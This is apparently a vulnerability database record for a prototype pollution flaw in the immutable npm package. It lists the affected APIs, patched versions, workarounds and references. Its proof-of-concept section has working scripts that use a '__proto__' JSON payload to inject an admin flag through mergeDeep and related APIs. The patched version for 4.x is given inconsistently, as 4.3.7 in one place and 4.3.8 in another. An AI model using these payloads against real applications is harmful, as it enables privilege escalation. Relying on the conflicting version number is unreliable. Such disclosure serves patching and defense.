{"id":"CVE-2026-29063","aliases":["GHSA-wf6x-7x77-mvgw"],"url":"https://o3.security/vulnerability/CVE-2026-29063","summary":"Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable","details":"## Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nA Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.\n\n## Affected APIs\n\n| API                                     | Notes                                                       |\n| --------------------------------------- | ----------------------------------------------------------- |\n| `mergeDeep(target, source)`              | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |\n| `mergeDeepWith(merger, target, source)`  | Same code path                                              |\n| `merge(target, source)`                    | Shallow variant, same assignment logic                      |\n| `Map.toJS()`                              | `object[k] = v` in `toObject()` with no `__proto__` guard   |\n| `Map.toObject()`                            | Same `toObject()` implementation                            |\n| `Map.mergeDeep(source)`                  | When source is converted to plain object                    |\n\n\n\n## Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n| major version | patched version |\n| --- | --- |\n| 3.x | 3.8.3 |\n| 4.x | 4.3.7 |\n| 5.x | 5.1.5 |\n\n## Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)\n- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)\n- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)\n- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)\n- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)\n\n## Proof of Concept\n\n### PoC 1 — mergeDeep privilege escalation\n\n```javascript\n\"use strict\";\nconst { mergeDeep } = require(\"immutable\"); // v5.1.4\n\n// Simulates: app merges HTTP request body (JSON) into user profile\nconst userProfile = { id: 1, name: \"Alice\", role: \"user\" };\nconst requestBody = JSON.parse(\n  '{\"name\":\"Eve\",\"__proto__\":{\"role\":\"admin\",\"admin\":true}}',\n);\n\nconst merged = mergeDeep(userProfile, requestBody);\n\nconsole.log(\"merged.name:\", merged.name); // Eve   (updated correctly)\nconsole.log(\"merged.role:\", merged.role); // user  (own property wins)\nconsole.log(\"merged.admin:\", merged.admin); // true  ← INJECTED via __proto__!\n\n// Common security checks — both bypassed:\nconst isAdminByFlag = (u) => u.admin === true;\nconst isAdminByRole = (u) => u.role === \"admin\";\nconsole.log(\"isAdminByFlag:\", isAdminByFlag(merged)); // true  ← BYPASSED!\nconsole.log(\"isAdminByRole:\", isAdminByRole(merged)); // false (own role=user wins)\n\n// Stealthy: Object.keys() hides 'admin'\nconsole.log(\"Object.keys:\", Object.keys(merged)); // ['id', 'name', 'role']\n// But property lookup reveals it:\nconsole.log(\"merged.admin:\", merged.admin); // true\n```\n\n### PoC 2 — All affected APIs\n\n```javascript\n\"use strict\";\nconst { mergeDeep, mergeDeepWith, merge, Map } = require(\"immutable\");\n\nconst payload = JSON.parse('{\"__proto__\":{\"admin\":true,\"role\":\"superadmin\"}}');\n\n// 1. mergeDeep\nconst r1 = mergeDeep({ user: \"alice\" }, payload);\nconsole.log(\"mergeDeep admin:\", r1.admin); // true\n\n// 2. mergeDeepWith\nconst r2 = mergeDeepWith((a, b) => b, { user: \"alice\" }, payload);\nconsole.log(\"mergeDeepWith admin:\", r2.admin); // true\n\n// 3. merge\nconst r3 = merge({ user: \"alice\" }, payload);\nconsole.log(\"merge admin:\", r3.admin); // true\n\n// 4. Map.toJS() with __proto__ key\nconst m = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)","published":"2026-03-06T18:25:22.438Z","modified":"2026-09-12T03:31:02.750170404Z","cvss":null,"epss":{"score":0.00978,"percentile":0.5924,"asOf":"2026-08-18"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"immutable","fixedVersion":"4.3.8"},{"ecosystem":"npm","name":"immutable","fixedVersion":"5.1.5"},{"ecosystem":"npm","name":"immutable","fixedVersion":"3.8.3"}],"fix":{"url":"https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945","label":"immutable-js/immutable-js@16b3313"},"references":[{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29063.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:11070"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:11217"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:11414"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:11858"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:11916"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:12118"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13542"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13548"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13791"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13826"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13829"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13847"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:13853"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17469"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:17598"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19375"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19409"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19410"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:19712"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20034"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20041"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20042"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:20088"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21657"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21658"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21703"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:21931"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:22465"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:23246"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24473"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:24977"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26225"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:26232"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:27063"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:28893"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:28964"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:29857"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:29864"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:34049"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:34099"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:34100"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:34342"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36621"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36651"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:36882"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:40022"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:40118"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:40945"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:40984"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:41928"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:41941"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:41944"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6428"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6568"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6720"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6926"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7329"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8218"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8483"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8484"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8490"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8491"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:8493"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:9742"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:9848"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-29063"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/29xxx/CVE-2026-29063.json"},{"type":"ADVISORY","url":"https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29063"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445291"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/issues/2178"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9"},{"type":"WEB","url":"https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb"},{"type":"PACKAGE","url":"https://github.com/immutable-js/immutable-js"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T03:31:02.750170404Z"}}